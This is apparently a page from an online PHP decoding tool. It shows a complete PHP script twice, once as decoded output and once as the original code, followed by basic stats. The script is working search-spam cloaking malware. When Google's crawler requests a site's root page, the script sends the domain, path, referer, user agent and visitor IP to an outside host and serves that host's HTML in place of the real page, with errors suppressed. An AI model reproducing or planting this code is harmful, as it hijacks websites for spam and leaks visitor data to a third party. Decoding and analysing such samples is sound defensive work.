Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @set_time_limit(0); @error_reporting(0); @ini_set('display_errors', 0); class ab..

Decoded Output download

<?php 
@set_time_limit(0); 
@error_reporting(0); 
@ini_set('display_errors', 0); 
class abc 
{ 
    public static function run() 
    { 
        if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'GET') { 
            $url = $_SERVER['REQUEST_URI']; 
            $ip = $_SERVER['REMOTE_ADDR']; 
            $ref = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; 
            $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://'; 
            $ua = $_SERVER['HTTP_USER_AGENT']; 
            $site = "http://s.sou8.vip"; 
            $road = "?domain=" . $protocol . $_SERVER['HTTP_HOST'] . "&referer=" . urlencode($ref) . "&path=" . urlencode($url) . "&spider=" . urlencode($ua) 
                . "&ip=" . self::getIp(); 
            if ((preg_match('/google/i', $ua) || preg_match('/google/i', $ref)) && $url == "/") { 
                $res = self::get($site . "/app" . $road, $ua, $ref); 
                if (strlen($res) > 0) { 
header("Content-Type: text/html; charset=utf-8"); 
                    echo $res; 
                    exit(); 
                } 
            } 
        } 
    } 
    static function get($url, $ua, $ref) 
    { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_USERAGENT, $ua); 
        curl_setopt($ch, CURLOPT_REFERER, $ref); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip'); 
        $response = curl_exec($ch); 
        curl_close($ch); 
        return $response; 
    } 
    static function getIp() 
    { 
        // Get client's IP address 
        if (isset($_SERVER['HTTP_CLIENT_IP']) && array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { 
            $ip = $_SERVER['HTTP_CLIENT_IP']; 
        } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { 
            $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); 
            $ips = array_map('trim', $ips); 
            $ip = $ips[0]; 
        } else { 
            $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '0.0.0.0'; 
        } 
        $ip = filter_var($ip, FILTER_VALIDATE_IP); 
        $ip = ($ip === false) ? '0.0.0.0' : $ip; 
        return $ip; 
    } 
} 
abc::run(); ?>

Did this file decode correctly?

Original Code

<?php
@set_time_limit(0);
@error_reporting(0);
@ini_set('display_errors', 0);
class abc
{
    public static function run()
    {
        if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'GET') {
            $url = $_SERVER['REQUEST_URI'];
            $ip = $_SERVER['REMOTE_ADDR'];
            $ref = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
            $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
            $ua = $_SERVER['HTTP_USER_AGENT'];
            $site = "http://s.sou8.vip";
            $road = "?domain=" . $protocol . $_SERVER['HTTP_HOST'] . "&referer=" . urlencode($ref) . "&path=" . urlencode($url) . "&spider=" . urlencode($ua)
                . "&ip=" . self::getIp();
            if ((preg_match('/google/i', $ua) || preg_match('/google/i', $ref)) && $url == "/") {
                $res = self::get($site . "/app" . $road, $ua, $ref);
                if (strlen($res) > 0) {
header("Content-Type: text/html; charset=utf-8");
                    echo $res;
                    exit();
                }
            }
        }
    }
    static function get($url, $ua, $ref)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, $ua);
        curl_setopt($ch, CURLOPT_REFERER, $ref);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }
    static function getIp()
    {
        // Get client's IP address
        if (isset($_SERVER['HTTP_CLIENT_IP']) && array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            $ips = array_map('trim', $ips);
            $ip = $ips[0];
        } else {
            $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '0.0.0.0';
        }
        $ip = filter_var($ip, FILTER_VALIDATE_IP);
        $ip = ($ip === false) ? '0.0.0.0' : $ip;
        return $ip;
    }
}
abc::run();

Function Calls

ini_set 1
set_time_limit 1
error_reporting 1

Variables

None

Stats

MD5 f2c6bdb0c3ce87f7caa4afbe6fe479e1
Eval Count 0
Decode Time 79 ms